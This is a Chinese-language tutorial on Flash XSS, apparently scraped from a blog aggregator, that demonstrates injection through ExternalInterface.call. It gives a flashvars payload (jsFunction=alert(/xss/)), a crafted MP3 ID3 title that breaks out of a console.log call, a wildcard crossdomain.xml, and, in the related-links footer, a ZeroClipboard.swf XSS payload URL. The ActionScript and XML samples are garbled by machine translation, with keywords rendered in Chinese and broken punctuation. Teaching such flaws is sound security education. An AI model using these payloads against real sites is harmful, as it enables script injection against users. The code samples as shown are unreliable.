Flash XSS漏洞快速上手
0x01 Flash XSS
xss一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等
0x02 ExternalInterface.call举例
AS中ExternalInterface类是用来和js通信的,调用方法是用来调用js函数的,函数原型
ExternalInterface.call(functionName:字符串,...参数):*
fuctionName:要调用的JavaScript的函数名
参数:参数,可选
函数具体用法请参考
如下AS代码
包
{import flash.display.Sprite; import flash.external.ExternalInterface; 公共类XSSTest扩展了Sprite
{public function XSSTest()
{var jsFunction:String = loaderInfo.parameters.jsFunction; var param:String =“abc”;
ExternalInterface.call(jsFunction,param);
}
}
}
这里通过flashvars传递了一个参数,是js的函数。这种方式比较常见,swf可以做成通用,放到不同的业务中使用,每次只需要传入对应的js函数即可。但是,这里就存在漏洞了。
在浏览器中,构造URL:
XSSTest.swf jsFunction =alert(/xss/)
访问SWF,并以获取参数的形式传入Flash变数,造成了 XSS

0×03实践
这是一个简单的网页,里边有flash做的MP3播放器。
我们先黑盒看一下:
查看网络

加载了swf,查看源码

看到MP3参数传递的是MP3文件。我们尝试从URL传递参数访问http://192.168.6.2/_files/XSSC1.swf?mp3=../1.mp3
看控制台,有奇怪的输出。

把MP3文件下载下来分析一下

保存下来
右键属性看摘要

这个文件的标题就是console的输出,由此我们推测为文件里源码有调用js函数console.log(“MP3的标题”) ;
既然是教程,那我们就白盒看一下这个SWF的源码:
包
{
import flash.events。*;
import flash.display。*;
import flash.media。*;
import flash.external。*;
import flash.net。*;
import flash.system。*;
公共类XSSC1扩展Sprite {
private var m:声音;
公共功能XSSC1(){
var mp3:* = null;
var host:* = null;
var u:* = null;
var context:* = null;
超();
var p:* = this.loaderInfo.parameters;
if((“mp3”in p)){
mp3 = p [“mp3”];
host =((mp3.match(/ ^(https?:\ / \ / [^ \\\ /] +)/))||([“”,“”]))[1];
Security.loadPolicyFile((host +“/ crosdomain.xml”));
u = new URLRequest(mp3);
context = new SoundLoaderContext(1000,true);
m = new Sound();
m.load(你,上下文);
m.play();
m.addEventListener(Event.ID3,function(e:Event):void {
if((m.id3中的“songName”)){
if(ExternalInterface.available){
迹(m.id3.songName);
ExternalInterface.call(“console.log”,m.id3.songName);
};
};
});
};
}
}
}//包
那么,我们本地搭建web服务器,构造MP3标题即可触发xss。
首先我们本地创建的Web服务器根目录

把刚才下载的MP3复制进去,然后创建crossdomain.xml的文件,内容
<?xml version =“1.0”?>
<! - http://www.foo.com/crossdomain.xml - >
<!DOCTYPE跨域策略系统“http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd”>
<跨域策略>
<allow-access-from domain =“*”/>
<site-control allowed-cross-domain-policies =“all”/>
<allow-http-request-headers-from domain =“*”headers =“*”/>
</跨域策略>

然后我们修改1.MP3的标题为\“)); alert(1);} catch(a){} //,右键属性

在cmd 里切换到web 目录,执行C:\ Python27 \ python -m SimpleHTTPServer 80 开启web 服务器

然后访问http://192.168.6.2/_files/XSSC1.swf?mp3=http://192.168.5.66/1.mp3

成功XSS
Flash XSS漏洞快速上手的更多相关文章
- Flash XSS 漏洞详解 根治的好办法
本文的目的是深层次的分析Flash的ExternalInterface的XSS漏洞,并提出比较有效的解决方案. 首先,我们看看什么情况下,会出现XSS. 第一种情况: 把flas ...
- Flash XSS 漏洞实例
www.bsdxm.com/zeroclipboard/ZeroClipboard.swf?id=\"))}catch(e){alert(/xss/);}//&width=500&a ...
- Java应对Flash XSS攻击
问题引出: 今天公司派出安全任务,说是要解决一个Flash XSS攻击,一看顿时傻眼,都没听说过.而且flash已经淘汰了,根本没研究过flash,搜了资料才开始慢慢开始工作. 要求: 1.过滤URL ...
- 快速、直接的XSS漏洞检测爬虫 – XSScrapy
XSScrapy是一个快速.直接的XSS漏洞检测爬虫,你只需要一个URL,它便可以帮助你发现XSS跨站脚本漏洞. XSScrapy的XSS漏洞攻击测试向量将会覆盖 Http头中的Referer字段 U ...
- 快速找出网站中可能存在的XSS漏洞实践
笔者写了一些XSS漏洞的挖掘过程记录下来,方便自己也方便他人. 一.背景 在本篇文章当中会一permeate生态测试系统为例,笔者此前写过一篇文章当中笔者已经讲解如何安装permeate渗透测试系统, ...
- 快速找出网站中可能存在的XSS漏洞实践(一)
一.背景 笔者最近在慕课录制了一套XSS跨站漏洞 加强Web安全视频教程,课程当中有讲到XSS的挖掘方式,所以在录制课程之前需要做大量实践案例,最近视频已经录制完成,准备将这些XSS漏洞的挖掘过程记录 ...
- Atitit. Xss 漏洞的原理and应用xss木马
Atitit. Xss 漏洞的原理and应用xss木马 1. XSS漏洞1 2. XSS的用途2 2.1. 盗取cookie2 2.2. 刷新流量 刷分3 2.3. DOS 窃取隐私”.“假冒身份”. ...
- XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析
2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...
- 为什么主流网站无法捕获 XSS 漏洞?
二十多年来,跨站脚本(简称 XSS)漏洞一直是主流网站的心头之痛.为什么过了这么久,这些网站还是对此类漏洞束手无策呢? 对于最近 eBay 网站曝出的跨站脚本漏洞,你有什么想法?为什么会出现这样的漏网 ...
随机推荐
- 用代码触发testng实现并发测试
有时候希望测试用例能用代码触发,发现testng支持这种操作,于是记录一下: 首先添加testng依赖: <dependency> <groupId>org.testng< ...
- Hive数据导入/导出
1.1 导入/导出规则 EXPORT 命令导出数据表或分区,与元数据一起输出到指定位置.又可以从这个输出位置移动到不同的Hadoop 或Hive 实例中,并且使用IMPORT 命令导入. 当导出一个分 ...
- 由于找不到opencv_world***d.dl,无法继续执行代码。重新安装程序可能会解决此问题。关于opencv使用imshow函数闪退解决方法等问题
1.将缺失的文件放到程序根目录的debug中 2.将Debug x64下的附加依赖项改为只有后缀为d.lib的那个库文件,去除另一个,问题就这么解决了,虽然我也不知道加上另一个为什么就会闪退
- C++消息框架-基于sigslot
目录 一.简介 二.消息 三.发送者 1.发送消息函数 2.新增一个接收者函数 3.移除一个接收者函数 四.接收者 五.功能测试 1.消息接收类 2.测试代码 3.测试结果 六.源码 一.简介 上一篇 ...
- 49 (OC)* layoutSubviews和drawRect调用
layoutSubviews: 简单的说就是你如果想调用此方法.不要直接调用,需要调用setNeedsLayout方法来刷新布局! drawRect:刷新布局 一:layoutSubviews在以下 ...
- 【译】Kubernetes监控实践(2):可行监控方案之Prometheus和Sensu
本文介绍两个可行的K8s监控方案:Prometheus和Sensu.两个方案都能全面提供系统级的监控数据,帮助开发人员跟踪K8s关键组件的性能.定位故障.接收预警. 拓展阅读:Kubernetes监控 ...
- 搭建大数据开发环境-Hadoop篇
前期准备 操作系统 hadoop目前对linux操作系统支持是最好的,可以部署2000个节点的服务器集群:在hadoop2.2以后,开始支持windows操作系统,但是兼容性没有linux好.因此,建 ...
- 对cpu与load的理解及线上问题处理思路解读
前言 2019双11还有不到2个月就要到来了,大家也都知道服务器在大促期间由于流量的增加势必导致机器的cpu与load变高.因此趁着这个时机正好再好好学习.巩固一下cpu和load的概念,为双11做准 ...
- 初识PE文件结构
前言 目前网络上有关PE文件结构说明的文章太多了,自己的这篇文章只是单纯的记录自己对PE文件结构的学习.理解和总结. 基础概念 PE(Portable Executable:可移植的执行体)是Win3 ...
- 关于json字符串与实体之间的严格验证
在一个项目中要求严格验证传入的json字符串与定义的 类匹配,否则不记录.感觉这个严格验证找了好多资料才找到,可能用的人比较少,特摘出来给大家分析,直接上代码了: using Newtonsoft ...